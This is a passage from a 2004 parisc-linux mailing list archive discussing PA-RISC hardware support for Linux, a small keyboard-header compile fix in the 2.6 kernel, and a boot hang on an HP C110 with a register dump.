Well, it's a bit quick: we've got no feedback from any successful
install on R class, we only 'suspect' it should work since they're based
on D class hardware (if anyone reading this has a R running, please send
feedback by the way). L-3000 and N class only work UP, as well as P8700
boxes (rpXXXX) that have, unless i'm quite out of sync with latest
developments, some SMP troubles too. Finally, E class are supported
diskless.

> +       T and V class servers are not supported
> +       Superdome will need some additional work.

Superdome, if ever supported, will not be supported as a "Superdome"
system, but as separate units, as far as I've been told. The same goes
for 742/743 VME boards that works standalone.

Have a look at http://www.pateam.org/list.html

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [DOC] Linux
Date: Sat, 20 Mar 2004 13:47:20 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20040320134720.GW25059@parcelfarce.linux.theplanet.co.uk>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623287 7076 80.91.229.3 (22 Nov 2014 02:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:07 +0000 (UTC)
Cc: willy@debian.org, ajwalker@broadpark.no, joey@infodrom.org,
	parisc-linux@parisc-linux.org
To: pinotj@club-internet.fr
Original-X-From: willy@www.linux.org.uk  Sat Mar 20 06:47:26 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E599483C
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 06:47:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B4goq-0000bV-QM; Sat, 20 Mar 2004 13:47:20 +0000
Content-Disposition: inline
In-Reply-To: <mnet2.1079773336.27405.pinotj@club-internet.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 13:47:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21141

On Sat, Mar 20, 2004 at 10:02:16AM +0100, pinotj@club-internet.fr wrote:
> Thanks a lot for your answers. Seems that PA-RISC linux community are quite reactive :-)
> 
> Some people ask me about the complete file, it's not on Internet yet so I first post it here. There is probably a lot of modifications to do but it's a good start.

sorry, i just don't see this as being useful.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [DOC] Linux
Date: Sat, 20 Mar 2004 13:49:16 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20040320134916.GX25059@parcelfarce.linux.theplanet.co.uk>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
	<20040320114011.20de3426.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623288 7079 80.91.229.3 (22 Nov 2014 02:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:08 +0000 (UTC)
Cc: willy@debian.org, ajwalker@broadpark.no, pinotj@club-internet.fr,
	joey@infodrom.org, parisc-linux@parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: willy@www.linux.org.uk  Sat Mar 20 06:49:17 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 070324846
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 06:49:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B4gqi-0000dD-9D; Sat, 20 Mar 2004 13:49:16 +0000
Content-Disposition: inline
In-Reply-To: <20040320114011.20de3426.varenet@esiee.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 13:49:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21142

On Sat, Mar 20, 2004 at 11:40:11AM +0100, Thibaut VARENE wrote:
> > +       Superdome will need some additional work.
> 
> Superdome, if ever supported, will not be supported as a "Superdome"
> system, but as separate units, as far as I've been told. The same goes
> for 742/743 VME boards that works standalone.

I think that's incorrect.  Superdome works as a big SMP box.  The 742/743
VME boards would have to be clustered.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [DOC] Linux
Date: Sat, 20 Mar 2004 17:44:05 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20040320164404.GH17857@lug-owl.de>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
	<20040320134720.GW25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="oCnZCSkKDqa/ZF0A"
X-Trace: ger.gmane.org 1416623288 7084 80.91.229.3 (22 Nov 2014 02:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Sat Mar 20 09:44:07 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id C35CE4834
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 09:44:06 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 63EAA4B5CC; Sat, 20 Mar 2004 17:44:05 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20040320134720.GW25059@parcelfarce.linux.theplanet.co.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 16:44:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21143


--oCnZCSkKDqa/ZF0A
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, 2004-03-20 13:47:20 +0000, Matthew Wilcox <willy@debian.org>
wrote in message <20040320134720.GW25059@parcelfarce.linux.theplanet.co.uk>:
> On Sat, Mar 20, 2004 at 10:02:16AM +0100, pinotj@club-internet.fr wrote:
> > Thanks a lot for your answers. Seems that PA-RISC linux community are q=
uite reactive :-)
> >=20
> > Some people ask me about the complete file, it's not on Internet yet so=
 I first post it here. There is probably a lot of modifications to do but i=
t's a good start.
>=20
> sorry, i just don't see this as being useful.

Well, it depends on audience. Personally, I like to play with everything
that can recognize '0' and '1'. If it's capable to run Linux, that's
even better. So this list helps me if I see some old hardware on ebay...

Oh, VAX machines are also supported - somewhat.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--oCnZCSkKDqa/ZF0A
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAXHTUHb1edYOZ4bsRAoyBAJ9QHIxcqxfi2lKXyMLZNkDMbgwahwCfQXsl
nnyM0C3J03kYEmoyKBYgUuE=
=g7Bm
-----END PGP SIGNATURE-----

--oCnZCSkKDqa/ZF0A--


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 20 Mar 2004 16:04:32 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1079816673.1778.184.camel@mulgrave>
References: <20040320210116.7A727494553@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623288 7087 80.91.229.3 (22 Nov 2014 02:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:08 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Helge Deller <deller@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat Mar 20 14:04:37 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4DD0A4838; Sat, 20 Mar 2004 14:04:37 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i2KL4aa00834; Sat, 20 Mar 2004 16:04:36 -0500
In-Reply-To: <20040320210116.7A727494553@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 21:04:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21144

On Sat, 2004-03-20 at 16:01, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/03/20 14:01:16
> 
> Modified files:
> 	drivers/input/keyboard: hpps2atkbd.h 
> 
> Log message:
> Fix compile failure.
> 
> This KEY_103RD is coming to us from the vanilla kernel, but it isn't
> defined anywhere there

Helge, is this fix OK?

James

===== drivers/input/keyboard/hpps2atkbd.h 1.3 vs edited =====
--- 1.3/drivers/input/keyboard/hpps2atkbd.h	Tue Mar 16 17:05:31 2004
+++ edited/drivers/input/keyboard/hpps2atkbd.h	Tue Mar 16 19:23:14 2004
@@ -50,7 +50,7 @@
 /* 60 */  KEY_DOWN,     C_61,          KEY_PAUSE,     KEY_UP,        KEY_DELETE,    KEY_END,      KEY_BACKSPACE, KEY_INSERT,
 /* 68 */  KEY_RESERVED, KEY_KP1,       KEY_RIGHT,     KEY_KP4,       KEY_KP7,       KEY_PAGEDOWN, KEY_HOME,      KEY_PAGEUP,
 /* 70 */  KEY_KP0,      KEY_KPDOT,     KEY_KP2,       KEY_KP5,       KEY_KP6,       KEY_KP8,      KEY_ESC,       KEY_NUMLOCK,
-/* 78 */  KEY_F11,      KEY_KPPLUS,    KEY_KP3,       KEY_KPMINUS,   KEY_KPASTERISK,KEY_KP9,      KEY_SCROLLLOCK,KEY_103RD,
+/* 78 */  KEY_F11,      KEY_KPPLUS,    KEY_KP3,       KEY_KPMINUS,   KEY_KPASTERISK,KEY_KP9,      KEY_SCROLLLOCK,KEY_102ND,
 /* 80 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
 /* 88 */  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED,  KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,
 /* 90 */  KEY_RESERVED, KEY_RIGHTALT,  KEY_SYSRQ,     KEY_RESERVED,  KEY_RIGHTCTRL, KEY_RESERVED, KEY_RESERVED,  KEY_RESERVED,



From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Sat, 20 Mar 2004 22:10:39 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <200403202210.39506.deller@gmx.de>
References: <20040320210116.7A727494553@palinux.hppa>
	<1079816673.1778.184.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623289 7088 80.91.229.3 (22 Nov 2014 02:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Mar 20 14:10:42 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 92BCB4842
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Mar 2004 14:10:41 -0700 (MST)
Original-Received: (qmail 31028 invoked by uid 65534); 20 Mar 2004 21:10:40 -0000
Original-Received: from pD9040392.dip.t-dialin.net (EHLO p100) (217.4.3.146)
	by mail.gmx.net (mp008) with SMTP; 20 Mar 2004 22:10:40 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <1079816673.1778.184.camel@mulgrave>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 21:10:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21145

On Saturday 20 March 2004 22:04, James Bottomley wrote:
> On Sat, 2004-03-20 at 16:01, James Bottomley wrote:
> > CVSROOT:	/var/cvs
> > Module name:	linux-2.6
> > Changes by:	jejb	04/03/20 14:01:16
> > 
> > Modified files:
> > 	drivers/input/keyboard: hpps2atkbd.h 
> > 
> > Log message:
> > Fix compile failure.
> > 
> > This KEY_103RD is coming to us from the vanilla kernel, but it isn't
> > defined anywhere there
> 
> Helge, is this fix OK?

Hi James,

keep the one from our CVS.
I didn't sent the latest patches to Vojtech yet.

Thanks,
Helge


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Sat, 20 Mar 2004 22:13:37 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <200403202213.37373.deller@gmx.de>
References: <20040320210116.7A727494553@palinux.hppa>
	<1079816673.1778.184.camel@mulgrave>
	<200403202210.39506.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623289 7091 80.91.229.3 (22 Nov 2014 02:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Mar 20 14:13:39 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id B4AA84838
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Mar 2004 14:13:38 -0700 (MST)
Original-Received: (qmail 17899 invoked by uid 65534); 20 Mar 2004 21:13:37 -0000
Original-Received: from pD9040392.dip.t-dialin.net (EHLO p100) (217.4.3.146)
	by mail.gmx.net (mp007) with SMTP; 20 Mar 2004 22:13:37 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <200403202210.39506.deller@gmx.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 21:13:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21146

On Saturday 20 March 2004 22:10, Helge Deller wrote:
> On Saturday 20 March 2004 22:04, James Bottomley wrote:
> > On Sat, 2004-03-20 at 16:01, James Bottomley wrote:
> > > CVSROOT:	/var/cvs
> > > Module name:	linux-2.6
> > > Changes by:	jejb	04/03/20 14:01:16
> > > 
> > > Modified files:
> > > 	drivers/input/keyboard: hpps2atkbd.h 
> > > 
> > > Log message:
> > > Fix compile failure.
> > > 
> > > This KEY_103RD is coming to us from the vanilla kernel, but it isn't
> > > defined anywhere there
> > 
> > Helge, is this fix OK?
> 
> Hi James,
> 
> keep the one from our CVS.

Oops, sorry.
Of course this is correct AFAICS.

Helge


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.5-rc1-pa1 hung on C110
Date: Sat, 20 Mar 2004 23:45:59 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <405CD7B7.6090007@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623289 7094 80.91.229.3 (22 Nov 2014 02:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Mar 20 16:46:00 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id A41854838
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Mar 2004 16:46:00 -0700 (MST)
Original-Received: from [62.235.121.166] (port=33113 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B4qAA-0005vp-Sc; Sun, 21 Mar 2004 00:45:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 23:46:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21147

Hi all,

I just rebuild 2.6.5-rc1-pa1 kernel on my c110 with b180 config (minus hil kbd and mouse support).

Unfortunately it hung during boot at:
[snip]
EXT3 FS on md5, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sdb9, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda9, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
/dev/md0 on /boot type ext3 (rw)
/dev/md3 on /var type ext3 (rw)
/dev/md4 on /tmp type ext3 (rw)
/dev/md5 on /home type ext3 (rw)
/dev/sdb9 on /Debian-apt type ext3 (rw)
/dev/sda9 on /Sources type ext3 (rw)
Cleaning /tmp /var/run /var/lock.
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces...

I toc the system and parse the pim (not yet called piminfo on c110 :))which give me the following result:
[snip]
GR[02] == rp = 0xf00556fc

Func: _end, Off: 0xdfbc7a94, Addr: 0xf00556fc

[snip]
IIA Offset                   = 0x10261878
...

e.g. IAOQ = 0x10261878

Parse IAOQ = 0x10261878 for CPU[0]

Func: ncr_reset_scsi_bus, Off: 0x150, Addr: 0x10261878

10261870:	00 16 18 60 	mtsm r22
10261874:	d2 a3 1b f8 	extrw,u r21,31,8,r3
10261878:	34 06 00 04 	ldi 2,r6
1026187c:	d6 c3 0a 3f 	depw,z r3,14,1,r22

Any idea?
(is it to put in relation with previous pb of panic with 2.6.4-pa2 of previous week:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022569.html?)

Thanks in advance,
	Joel

PS: the last operational 2.6 is a 2.6.3-rc1-pa3


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc1-pa1 hung on C110
Date: Sat, 20 Mar 2004 17:24:57 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20040321002457.GA31600@colo.lackof.org>
References: <405CD7B7.6090007@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623289 7096 80.91.229.3 (22 Nov 2014 02:28:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sat Mar 20 17:24:59 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8C874859
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Mar 2004 17:24:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4BF1A298050; Sat, 20 Mar 2004 17:24:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31282-06; Sat, 20 Mar 2004 17:24:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C28B829804E; Sat, 20 Mar 2004 17:24:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <405CD7B7.6090007@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
